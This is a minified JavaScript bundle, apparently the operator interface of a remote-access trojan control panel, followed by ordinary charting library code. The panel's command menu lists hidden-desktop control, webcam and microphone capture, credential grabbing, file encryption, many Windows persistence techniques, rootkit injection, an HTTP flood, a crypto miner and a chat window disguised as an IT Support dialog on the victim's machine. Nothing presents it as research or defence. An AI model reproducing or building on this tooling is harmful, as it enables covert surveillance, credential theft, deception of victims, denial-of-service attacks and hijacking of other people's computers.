2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},OA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),TA=new Set(["remove","exit","uninstall","shutdown"]),MA=new Set(["ban"]),Mf=[{label:"Monitoring",icon:Ht.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Ht.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Ht.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Ht.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Ht.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Ht.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Ht.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Ht.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Ht.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Ht.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Ht.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],LA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},IA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},DA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},RA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Mf.map(R=>({...R,commands:R.commands.filter(I=>I.label.toLowerCase().includes(x.toLowerCase())||I.key.toLowerCase().includes(x.toLowerCase()))})).filter(R=>R.commands.length>0||R.label.toLowerCase().includes(x.toLowerCase())).map(R=>({...R,commands:R.commands.length>0?R.commands:Mf.find(I=>I.label===R.label).commands})):Mf;p.useEffect(()=>{if(n&&l.current){const R=l.current.getBoundingClientRect(),I=window.innerWidth,F=window.innerHeight;let B=e,V=t;e+R.width>I&&(B=I-R.width-8),t+R.height>F&&(V=F-R.height-8),h({x:Math.max(4,B),y:Math.max(4,V)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var R;(R=c.current)==null||R.focus()})},[n]),p.useEffect(()=>{if(!n)return;const R=I=>{l.current&&!l.current.contains(I.target)&&i()};return document.addEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const O=p.useCallback(()=>{if(!u.current)return;const R=u.current;R.style.top="0px";const I=R.getBoundingClientRect(),F=window.innerHeight;if(I.bottom>F-8){const B=I.bottom-F+8;R.style.top=`${-B}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),p.useEffect(()=>{if(!n)return;const R=I=>{var B;const F=z;if(F.length!==0)switch(I.key){case"ArrowDown":{if(I.preventDefault(),j){const V=F.find($=>$.label===d);V&&w($=>${const $=V$.label===d);V&&w($=>$>0?$-1:V.commands.length-1)}else v(V=>{const $=V>0?V-1:F.length-1;return f(F[$].label),$});break}case"ArrowRight":case"Enter":{if(j&&I.key==="Enter"){I.preventDefault();const V=F.find($=>$.label===d);V&&b>=0&&bdocument.removeEventListener("keydown",R)},[n,z,d,j,y,b,i]),!n)return null;const _=(R,I)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f(R),v(I),k(!1),w(-1)},60)},T=()=>{S.current&&clearTimeout(S.current)},E=R=>{N&&R.nav.action!=="remove"&&R.nav.action!=="ban"||r(R.key,R.nav)},U=m.x+200+220>window.innerWidth,K=R=>R===0?!1:z[R].group!==z[R-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${LA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${DA[a]}`,children:IA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Ht.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:R=>{g(R.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var R;g(""),(R=c.current)==null||R.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map((R,I)=>s.jsxs(oh.Fragment,{children:[K(I)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>_(R.label,I),onMouseLeave:T,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===R.label||y===I?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===R.label||y===I?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:R.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:R.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===R.label||y===I?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===R.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${U?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:R.label})}),R.commands.map((F,B)=>{const V=N&&F.nav.action!=="remove"&&F.nav.action!=="ban",$=TA.has(F.key)||F.nav.action==="remove",q=MA.has(F.key)||F.nav.action==="ban",Y=OA.has(F.key),ie=j&&b===B;return s.jsxs("button",{onClick:()=>E(F),disabled:V,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${$?ie?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":q?ie?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":V?"cursor-not-allowed text-zerin-text-muted":ie?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:F.label}),Y&&!V&&Ht.externalLink]},F.key)})]})]})]},R.label))]})]})})};function n5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(Yu),g=p.useCallback(async()=>{try{const v=Ze(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=Ze(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:$A(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function $A(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const BA=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function r5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=KA(e,HA),f=a||{width:r,height:i,x:0,y:0},m=Ve("recharts-surface",o);return p.createElement("svg",um({},At(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),YA=["children","className"];function dm(){return dm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=GA(e,YA),a=Ve("recharts-layer",r);return p.createElement("g",dm({className:a},At(i),{ref:t}),n)}),ZA=p.createContext(null);function Pe(e){return function(){return e}}const o5=Math.cos,_c=Math.sin,Ln=Math.sqrt,Oc=Math.PI,Gu=2*Oc,fm=Math.PI,pm=2*fm,yi=1e-6,QA=pm-yi;function l5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return l5;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;iyi)if(!(Math.abs(f*c-u*d)>yi)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((fm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>yi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>yi||Math.abs(this._y1-d)>yi)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%pm+pm),m>QA?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>yi&&this._append`A${r},${r},0,${+(m>=fm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new e_(t)}function lx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function c5(e){this._context=e}c5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function Xu(e){return new c5(e)}function u5(e){return e[0]}function d5(e){return e[1]}function f5(e,t){var n=Pe(!0),r=null,i=Xu,a=null,o=ox(l);e=typeof e=="function"?e:e===void 0?u5:Pe(e),t=typeof t=="function"?t:t===void 0?d5:Pe(t);function l(c){var u,d=(c=lx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return f5().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Pe(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Pe(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Pe(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Pe(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Pe(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Pe(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Pe(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class p5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function t_(e){return new p5(e,!0)}function n_(e){return new p5(e,!1)}const cx={draw(e,t){const n=Ln(t/Oc);e.moveTo(n,0),e.arc(0,0,n,0,Gu)}},r_={draw(e,t){const n=Ln(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},m5=Ln(1/3),i_=m5*2,a_={draw(e,t){const n=Ln(t/i_),r=n*m5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},s_={draw(e,t){const n=Ln(t),r=-n/2;e.rect(r,r,n,n)}},o_=.8908130915292852,h5=_c(Oc/10)/_c(7*Oc/10),l_=_c(Gu/10)*h5,c_=-o5(Gu/10)*h5,u_={draw(e,t){const n=Ln(t*o_),r=l_*n,i=c_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=Gu*a/5,l=o5(o),c=_c(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Lf=Ln(3),d_={draw(e,t){const n=-Ln(t/(Lf*3));e.moveTo(0,n*2),e.lineTo(-Lf*n,-n),e.lineTo(Lf*n,-n),e.closePath()}},an=-.5,sn=Ln(3)/2,mm=1/Ln(12),f_=(mm/2+1)*3,p_={draw(e,t){const n=Ln(t/f_),r=n/2,i=n*mm,a=r,o=n*mm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(an*r-sn*i,sn*r+an*i),e.lineTo(an*a-sn*o,sn*a+an*o),e.lineTo(an*l-sn*c,sn*l+an*c),e.lineTo(an*r+sn*i,an*i-sn*r),e.lineTo(an*a+sn*o,an*o-sn*a),e.lineTo(an*l+sn*c,an*c-sn*l),e.closePath()}};function m_(e,t){let n=null,r=ox(i);e=typeof e=="function"?e:Pe(e||cx),t=typeof t=="function"?t:Pe(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Pe(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Pe(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function Tc(){}function Mc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function x5(e){this._context=e}x5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Mc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Mc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function h_(e){return new x5(e)}function v5(e){this._context=e}v5.prototype={areaStart:Tc,areaEnd:Tc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 